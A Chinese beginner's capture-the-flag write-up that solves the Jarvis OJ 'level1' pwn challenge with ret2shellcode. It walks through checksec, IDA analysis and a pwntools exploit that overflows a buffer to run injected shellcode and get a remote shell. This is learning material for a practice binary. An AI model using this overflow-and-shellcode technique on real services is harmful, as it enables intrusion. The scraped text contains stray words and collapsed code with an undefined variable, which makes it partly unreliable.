記錄一次入門pwn題--ret2shellcode

ret2shellcodeshell

 

題目是在jarvis OJ上的函數

 

 

 

題目連接:https://dn.jarvisoj.com/challengefiles/level1.80eacdcd51aca92af7749d96efad7fb5學習

一道很是典型的shellcode題,話很少說,直接開整this

首先咱們仍是先要nc一下,看一下出題人給咱們整了什麼活spa

 

 嗯?給了一個地址,沒有其餘信息了翻譯

 

那麼我麼用pwntools的checksec查看一下開啓了哪些保護,能夠看到沒有開啓NX保護,大體能夠猜到能夠利用shellcode來獲取flagdebug

 

根據流程,接下來放到ida裏查看僞代碼:3d

發現一個vulnerable_function()  翻譯過來就是漏洞函數code

 

到這裏也很容易看出開始nc時獲得的內存地址就是buf的地址,因此思路就來了,只要能夠獲取這段地址,插入shellcode,覆蓋掉函數的返回地址,就能夠成功pwn掉。blog

 

 

 

點開buf,也能夠看到buf的大小是0x88+0x04(32位+4 64位+8)

 

 

 

 

 關於爲何是要覆蓋掉函數的返回地址,能夠看這張圖,前提是對函數調用時的棧內變化有所瞭解。

 

若是看不懂的話建議仍是先學習一下函數調用棧,推薦教程 https://zhuanlan.zhihu.com/p/25816426  寫的很棒,(我也看的不是很懂,一塊兒學吧

 

下面咱們來構造exp:

首先分析一下,這個程序是會輸出buf的地址的,因此咱們要先接受這個地址,這就能夠用到咱們的pwntools的函數recvuntil()

解釋一下,開始先把%p以前的多餘字符吸取掉,不用管,而後用 索引取值,取出地址(skrskrskr~)

 

 接下來咱們構造payload:

shellcode = asm(shellcraft)

payload  = shellcode + 'a' * (0x88 + 0x4 - len(shellcode)) + p32(以前得到的地址)

 

 

完整版exp:

from pwn import *
debug = 0 if debug:   a = process('./level1.80eacdcd51aca92af7749d96efad7fb5') else:   a = remote('pwn2.jarvisoj.com',9877) a.recvuntil("What's this:") addr_buf = int(a.recvuntil("?")[:-1],16) payload = shellcode + 'a' * (0x88 + 0x4 - len(shellcode)) + p32(addr_buf)
a.sendline(payload) a.interactive()

 

運行腳本:

 

 

 記錄日期:2020-07-06 21:10:48

相關文章
相關標籤/搜索